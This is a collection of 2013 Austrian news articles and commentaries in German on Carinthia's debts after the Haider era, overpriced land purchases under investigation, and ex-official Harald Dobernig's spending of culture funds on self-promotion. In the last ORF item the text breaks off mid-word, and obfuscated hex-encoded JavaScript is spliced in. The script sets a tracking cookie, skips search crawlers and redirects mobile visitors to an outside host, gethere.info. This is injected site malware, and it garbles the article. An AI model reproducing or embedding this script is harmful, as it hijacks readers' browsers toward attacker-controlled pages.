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GRAUSLICHE KLEINIGKEITEN

(Elisabeth Steiner, DER STANDARD, 28.5.2013)

Abrechnung mit Haider-Ära: Zahltag in Kärnten

Kärnten ist faktisch so pleite wie die Hypo Alpe Adria

In Kürze wird es den Kassasturz über Jahrzehnte freiheitlicher Herrschaft in Kärnten geben. Schon im Vorfeld sickert durch, dass die tatsächlichen Landesschulden mehr als vier Milliarden Euro betragen werden. Das wäre das Doppelte des gesamten Landesbudgets. Kärnten ist damit faktisch so pleite wie die Hypo Alpe Adria.

Völlig ungeniert funktionierte Jörg Haider das ganze Land zum Bankomaten um. Das Volk wurde mit Brot und Spielen geblendet. Kärnten blüht auf, lautete Haiders vollmundige Botschaft. Aufgeblüht sind Misswirtschaft und Korruption. Noch für Haiders Erben galt das Motto: hinter uns die Sintflut.

Das gilt auch für die Umfahrung von Bad Sankt Leonhard, deren Kosten mit 56 Millionen Euro für vier Kilometer Länge geradezu explodierten. Grundstücke, die man letztlich gar nicht brauchte, wurden von Haiders Nachfolger Gerhard Dörfler zu Fantasiepreisen angekauft. Auch die Familie eines SP-Funktionärs durfte profitieren. Eine Hand wusch die andere.

Die heutigen Reformparteien ÖVP und SPÖ saßen immer wieder mit im Boot. Letztere etwa beim weit überteuerten Ankauf der Kärntner Seeliegenschaften von ÖGB und Bawag durch das Land. Da ermittelt ebenfalls die Staatsanwaltschaft, auch gegen die neue SP- Finanzreferentin Gaby Schaunig sowie SP-Landtagspräsident Reinhart Rohr. Jetzt kommt der Zahltag in Kärnten – für alle.


(stein, DER STANDARD, 28.5.2013)

See- und Luftgeschäfte

Ausufernde Kosten für die Ortsumfahrung Bad Sankt Leonhard, überhöhte Ablösen für Grundstücke, die nicht gebraucht wurden: Für die Misswirtschaft der FPK interessiert sich jetzt die Staatsanwaltschaft. Aber auch die SPÖ hat diesbezügliche Altlasten


Klagenfurt – Es war für den Rechnungshof – gemessen an der Streckenlänge – das teuerste Straßenbauprojekt Kärntens. Für ganze vier Kilometer Umfahrung der Gemeinde Bad Sankt Leonhard im Lavanttal fielen Kosten von 56 Millionen Euro an. 2012 wurde das „Lieblingsprojekt“ von Exlandeshauptmann und Straßenbaureferent Gerhard Dörfler fertig. Heute sieht sich Dörfler deswegen mit einer Anzeige wegen Untreue bei der Staatsanwaltschaft konfrontiert. Es geht um überhöhte Grundstücksablösen von neun Millionen Euro im Jahr 2007. In einem Fall betrug der Verkehrswert 262.000 Euro, gezahlt wurden aber 380.000.

„Soziale Zusatzzahlung“

Dörfler rechtfertigte diese Kostenexplosion mit einer „sozialen Zusatzzahlung“, die den Eltern eines Lavanttaler SPÖ-Funktionärs zugutegekommen wäre. Dieser soll auch prompt im Wahlkampf Werbung für Dörfler gemacht haben. Besondere Chuzpe dabei: Das besagte Grundstück wurde letztlich für die Umfahrung gar nicht gebraucht.

Eine weitere SPÖ-Anzeige befasst sich mit dem Baulos „Lavantbrücke“. Dort seien die Kosten von 2,3 auf 3,7 Millionen Euro hochgeschnellt.

SPÖ und Grüne vermuten hier wie dort illegale Parteienfinanzierung zugunsten der FPK. Ein schwerwiegender Verdacht, der sich auch dadurch erhärtet, dass Baufirmen, die bei der Umfahrung Sankt Leonhard tätig waren, prompt auch als „Kunden“ der FPK-Werbefirma connect auftauchen, von der sie Rechnungen über diverse Layout-Beratungen erhielten, die auch Gegenstand von Ermittlungen seitens der Korruptionsstaatsanwaltschaft sind.

FPK-Chef Christian Ragger wies am Montag Vorwürfe der illegalen Parteienfinanzierung vehement zurück. Bei der Lavantbrücke seien die Mehrkosten ausschließlich durch Planungsfehler eines externen Planungsbüros entstanden. Bei den Projektkosten sei „vergessen“ worden, 200.000 Tonnen Stahl für die Brücke einzuberechnen. Zum Vergleich: die Golden-Gate-Brücke in San Francisco wiegt 887.000 Tonnen. Auch habe der Projektwerber die Gesamtkosten schlecht kalkuliert, deshalb sei es zu Mehrkosten über 1,7 Millionen Euro gekommen.

Aber auch die Kärntner SPÖ hat Probleme mit diversen Altlasten aus dem Jahr 2007. Auch dabei ging es um massiv überteuerte Grundstücksdeals. Das Land Kärnten kaufte Liegenschaften am Ossiacher, Maltschacher und Hafnersee um 43 Millionen Euro an. Der Buchwert der Grundstücke liegt allerdings bei nur 20 Millionen. Laut Rechnungshof wurde zumindest um 10 Millionen zu viel gezahlt. Die Liegenschaften gehörten dem ÖGB und der Bawag. Beide befanden sich damals in höchster finanzieller Schieflage. Begründet wurde der teure Ankauf mit dem freien Seezugang für die Kärntner Bevölkerung.

Überhöhte Honorare

Refinanziert werden sollte der Kaufpreis über jährliche Pachteinnahmen von zwei Millionen Euro. Die Rechnung ging allerdings nie auf. Schon im damaligen Regierungsakt wurde auf realistische Einnahmen von lediglich 1,45 Millionen für drei Jahre verwiesen. Dennoch stimmte die Kärntner Landesregierung unter der Führung Jörg Haiders einstimmig für den Seenankauf. Mit dabei: Gerhard Dörfler, Uwe Scheuch (beide damals BZÖ), Josef Martinz und die drei SPÖ-Regierungsmitglieder Gaby Schaunig, Reinhart Rohr sowie Wolfgang Schantl. Gegen alle ermittelt nach Anzeigen der Grünen heute die Korruptionsstaatsanwaltschaft. Es gilt die Unschuldsvermutung.

Neben dem überhöhten Kaufpreis kritisierte der Rechnungshof auch die hohen Berater- und Erfolgshonorare: So erhielt etwa die damalige ÖGB- nahe Immobilienagentur Aucon rund 1,8 Millionen Euro, die FP-nahe Anwaltskanz-lei Gheneff-Rami-Sommer rund 900.000 Euro.


(Kleine Zeitung, Uwe Sommersguter, 29.5.2013)

Dobernig-Festspiele sind Fall für den Rechnungshof

Der Landesrechnungshof soll den möglichen Missbrauch der Mittel aus dem Kulturbudget durch Ex-Landesrat Harald Dobernig prüfen. 

 Foto © APA/Gert Eggenberger

Ex-Kulturreferent Dobernig (FPK) ließ die Puppen tanzen. Für „Brauchtums- und Heimatpflege“ floss 2011 fast eine Million Euro


„FragdenStaat.at“ heißt die Internetseite des Wieners Markus Hametner, die eine transparente Schneise in den Behördendschungel schlagen will. Betrieben wird die Seite von der Aktion „transparenzgesetz.at“.

Ein erster Coup ist Hametner dieser Tage gelungen: Seit Kurzem sind auf seiner Internetseite alle Kärntner Kultursubventionen des Jahres 2011 zu den Punkten „Brauchtums- und Heimatpflege“, „Musik“ und „Diverses“ im Detail nachzulesen (die Kleine Zeitung berichtete).

Was der Kulturbericht offen lässt oder bisweilen verschleiert, ist hier klein gedruckt auf 15 Seiten angeführt: Ein erklecklicher Anteil der öffentlichen Mittel floss ins Selbstmarketing des Referenten Harald Dobernig (FPK). Übermittelt wurde die Liste von der Leiterin der Kulturabteilung, Erika Napetschnig.

Ob die Staatsanwaltschaft von sich aus angesichts des Sammelsuriums an Ausgaben aus dem Kulturbudget tätig wird, konnte deren Sprecher Helmut Jamnig gestern noch nicht beantworten.

„Reine Marketingabteilung“

Der Kärntner ÖVP-Chef Gabriel Obernosterer will nicht abwarten und den Landesrechnungshof umgehend einschalten. „Hier werden so viele hanebüchene Dinge offensichtlich, dass sich dafür dann wohl auch die Staatsanwaltschaft interessieren wird.“

Der seit März für das gesamte Kulturreferat zuständige Landesrat Wolfgang Waldner (ÖVP) sieht eine „völlige Instrumentalisierung des Kulturbudgets zur reinen Marketingabteilung Dobernigs“ und will der Volkskultur „den ihr gebührenden Stellenwert zurückgeben“. Dobernig bestreitet den Vorwurf der Eigenvermarktung mit Landesgeld.


(Kleine Zeitung, ANTONIA GÖSSINGER, 28.5.2013)

Ex-Landesrat ließ die Puppen tanzen

FPK-Politiker gab 2011 unter dem Titel „Brauchtums- und Heimatpflege“ fast eine Million Euro aus. Großteil diente der Selbstvermarktung des Referenten.

  

Dobersticks                                                    Doberschwein

 

Doberbieranzapf

Harald Dobernig, abgewählter FPK-Politiker und früherer Finanz- und Kulturreferent des Landes, genießt den Ruf, privat ein Klefuzianer zu sein. So konnte er in den letzten Jahren einen stattlichen Grund- und Bodenbesitz erwerben. Umso ausgabefreudiger war er als Volkskulturreferent. Das zeigt eine detaillierte Aufstellung über „diverse Zahlungen“ von Dobernig unter dem Titel „Brauchtums- und Heimatpflege“, die von der Kulturabteilung in Beantwortung einer Anfrage der Initiative „Frag den Staat“ gemacht wurde. Die Liste betrifft nur das Jahr 2011. Da ließ Dobernig im mehrfachen Sinne des Wortes die Puppen tanzen, in Summe um 430.000 Euro. Auf weitere 530.000 Euro belief sich der Organisationsaufwand für Muttertagskonzerte, Kultur- und Brauchtumsveranstaltungen, die Dobernig mit seinem Konterfei bewarb.

Kalender, Kekse, Krawatten

Ob für den persönlichen Gebrauch oder zum Verschenken, geht aus der Liste nicht hervor – abgerechnet wurde von Dobernig ein teures Sammelsurium – beispielsweise eine Krawatte um 40 Euro, eine Kärntner Joppe um 196 Euro, ein Kilt um 395 Euro, 500 Lebkuchenherzen um 700 Euro, Kekssackerln um 880 Euro, 45 Puppenpaare in Tracht um 1080 Euro und Kirchenweihrauch um 360 Euro. Bierfässer und Bewirtungen finden sich sonder Zahl. Auf Ostermärkten wurden hunderte Euro ausgegeben. Der Adventkalender, mit dem der Referent Menschen zwangsbeglückte, kostete 20.000 Euro. Und sogar Bücher-Käufe ließ Lesemuffel Dobernig abrechnen.

Nicht dem Brauchtum, sondern der Eigenwerbung dienten die „Dobersticks“, USB-Sticks in Form von Mini-Dobernigs, um fast 14.000 Euro. Erstaunlich sind auch Dobernigs Eintrittskarten-Ankäufe. So wurden für die Generalprobe der „Starnacht am Wörthersee“ Eintrittskarten um 11.000 Euro gekauft. Dabei war das Land Kärnten immer einer der Hauptsponsoren der Starnacht, rund 200.000 Euro kamen allein aus dem Kulturreferat.

(Kommentar, Uschi Loigge)

Geldvernichtung

Wieso zahlt die öffentliche Hand gestandenen Mannsbildern, die in ihrer Freizeit singen oder Ziehharmonika spielen, Stutzen? Wie gibt man auf einem Ostermarkt über 2000 Euro aus? Wo landeten all die Dobersticks (14.000 Euro – in Schilling 200.000! – für astreine Eigenwerbung)?

Der Kulturbericht 2011 listet auf, was schon lange mehr als eine Ahnung war. Bei Brauchtums- und Heimatpflege kannte Harald Dobernig, Volkskulturreferent von eigenen Gnaden, keine Grenzen. 15.000 Euro für „A Gaude muss sein“, 7700 Euro für den „Auftritt“ Dobernigs beim Landjugendfest, über 19.000 Euro für einen Adventkalender. Und so weiter.

Aus der Brauchtumsabteilung ist zu hören: „Wenn uns das Geld ausgegangen ist, hat man das dem Referenten gesagt. Der hat dann 200.000 Euro oder so zugeschossen.“ Der Finanzreferent Dobernig hat also dem Brauchtumsreferenten Dobernig ganz einfach das Geld hingeschupft. Gut möglich, dass sich das in der „Image- und Akzeptanzstudie (6000 Euro) für Dobernig niedergeschlagen hat.

In aufgeklärten Gesellschaften nennt man das Geldvernichtung. Mit mehr als einem dicken Ende: Die Beträge, die 2012 vor der Wahl auf die gleiche Tour verjubelt worden sind, werden nicht kleiner sein. Mit seiner Maßlosigkeit hat Dobernig gerade dem Brauchtum keinen guten Dienst erwiesen. Und das nicht deswegen, weil das Land nun so eisern sparen muss, dass vielleicht auch keine Stutzen mehr drin sind.


(ORF, 28.5.2013)

Dobernig bestreitet Selbstvermarktung

Der ehemalige Kultur- und Finanzreferent Harald Dobernig (FPK) soll laut Kulturbericht 2011 mehrere hunderttausend Euro Steuergeld für persönliche Werbegeschenke ausgegeben haben. Dobernig bestreitet den Vorwurf der Selbstvermarktung und bezeichnet die Ausgaben als „Kulturaktivitäten“.

Harald Dobernig – in Form eines USB-Sticks für den Computer. Nur eines von zahlreichen Werbegeschenken, die mit Steuergeld finanziert worden sind. Zumindest mehr als 113.000 Euro aus dem Kulturbudget sollen 2011 für personifizierte Werbeartikel ausgegeben worden seien, so die Kritik. Darunter etwa Adventkavar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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